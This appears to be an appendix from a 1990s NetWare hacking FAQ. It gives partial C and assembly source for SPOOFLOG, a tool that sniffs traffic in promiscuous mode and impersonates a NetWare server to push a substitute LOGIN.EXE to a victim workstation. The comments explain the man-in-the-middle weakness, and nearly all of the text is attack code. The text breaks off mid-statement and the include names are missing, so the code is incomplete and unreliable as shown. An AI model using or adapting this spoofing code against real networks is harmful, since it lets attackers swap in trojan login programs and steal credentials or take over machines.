--------------------------------------------------------------------------- Appendix Section - Source Code and Other Documentation A-06. Source code to SPOOFLOG This includes spooflog.c and spooflog.h, with Greg's comments in the code. --------------------------------------------------------------------------- spooflog.c: /* This file is Copyright 1996 by Greg Miller */ /* Any modifications to this file should be sent to gmiller@dey-systems.com, gmiller@grendel.ius.indiana.edu, gregmi@mis.net, as well as posted to comp.os.netware.security. */ /* Note: This code isn't pretty. I've sacraficed just about every programming convention for the speed of coding. */ /* I assume there is a Packet Driver installed on INT 0x60. No checking is done. */ /* Login spoofing utility for all versions of NetWare */ /* This program is only a template, not a compete program */ /* This program will send a specified file as the LOGIN.EXE file to a specified workstation. The file can be any file of the same length of LOGIN.EXE or shorter, and can be sent to any workstation the attacking station is capable of sniffing packets for. This program uses the promiscuous mode of the adapter card, so a fast computer is needed (the more traffic the network has on it, the faster the attacking machine has to be. */ /* A General Explanation of the Attack This attack takes advantage of a zero knowledge state between the client and server. Neither the client nor the server has the capability of authenticating itself to the other before the user is logged in. This allows any station on the network to immitate either the client or the server (however, immitating the server is the only useful attack). Once the LOGIN.EXE file is downloaded, the client can authenticate itself to the server (through the use of the password), however, the server still has no mechanism for authenticating itself to the client. This allows for some "man in the middle" attacks against the login sequence. Readers interested in the "man in the middle" attacks against the login sequence should see the "NetWare Hack FAQ" by Simple Nomad (version 4 or above). */ /* NOTE: THIS PROGRAM IS FOR DEMONSTRATION PURPOSES ONLY. ANY MISUSE OF THIS PROGRAM TO BREAK INTO ANY SYSTEM IS A VIOLATION OF FEDERAL LAW. */ #include #include #include #include "spooflog.h" /*All variables are global to speed up processing time*/ int DataRemaining = TRUE; BYTE packet[2000]; BYTE SendPacket[2000]; int ServerCurrentSequenceNumber; int ClientCurrentSequenceNumber; WORD handle; int packet_received = FALSE; BYTE SpoofStation[6] = {0xff,0xff,0xff,0xff,0xff,0xff}; BYTE OpenLoginRequest[] = {76,1,0x4e,0x11,16,'/','L','O','G','I','N', '/','L','O','G','I','N','.','E','X','E'}; BYTE OpenLoginReply[] = {0}; int c; WORD pktlen; WORD Sendpktlen; FILE *IN; void Initialize(){ /* This procedure will ensure that the address and file specified on the command line are valid. If not, a useage string is displayed. This function also opens the file for reading, and reads in some of the file into a buffer to ensure that this attacking station beats the server to the response when the read is submitted by the workstation. */ IN = fopen("spoof.dat","r"); } static void far PacketReceived(){ /*This function is called by the packet driver when a packet is received. If AX=0 when the function is called, the packet driver is asking for a buffer to put the packet in. If AX=1 then the packet has been copied into the buffer. */ _asm{ pop di //Borland C 3.1 pushes DI for some reason. //Remove this line if you compiler doesn't. cmp ax,1 //ax=0 for get buffer or 1 when done jz copy_done mov ax,seg packet mov ES,ax lea DI,packet mov cx,2000 //buffer length retf } copy_done: packet_received = TRUE; pktlen=_CX; _asm{retf} end: } void RegisterWithPKTDRV(){ /*This function registers the "protocol stack" with the packet driver. We give it the address of the function to call when a packet is received in ES:DI, the interface class in AL, and the interface type in BX. DS:SI should point to the type of packets to receive, with the length of the type in CX, however, we'll just receive any type of packet so we leave DS:SI alone and make CX=0. We get a handle back from the INT 60h call in AX, we'll store it for later use. */ _asm { pusha mov bx,0ffffh //interface type for 3com 509 mov dl,0 mov cx,0 //receive any type of packet mov ax, seg PacketReceived mov es,ax lea di, PacketReceived mov ah,02 mov al,01 //class type for 3com 509 int 60h jc err mov handle,ax popa } printf("Registered with packet driver\r\n"); return; err: printf("Error registering stack: %d\r\n",_DH); _asm{popa} } void RelinquishProtocolStack(){ /* Relinqush control of the interface */ _asm{ pusha mov ah,5 mov bx,handle int 60h jc err popa } printf("Stack Relinqushed\r\n"); return; err: printf("Error releasing Stack: %d",_DH); } void EnterPromiscuousMode(){ /*This function puts the board in promiscuous mode by putting the receive mode in CX and the handle in BX. Mode 6 is promiscuous. */ _asm{ pusha mov ah,14h mov bx,handle mov cx,6 int 60h jc err popa } printf("Promiscuous mode set\r\n"); return; err: printf("Error entering promiscuous mode: %d\r\n",_DH); _asm{popa} } void printhex(BYTE d){ BYTE temp; _asm{ mov al,d shr al,1 shr al,1 shr al,1 shr al,1 and al,0fh add al,90h daa adc al,40h daa } temp=_AL; printf("%c",temp); _asm{ mov al,d and al,0fh add al,90h daa adc al,40h daa } temp=_AL; printf("%c ",temp); } void SendPack(){ _asm{ pusha mov ax,seg SendPacket mov ds,ax lea si,SendPacket mov cx,Sendpktlen mov ah,04 int 60h jc err popa } for(c=0;c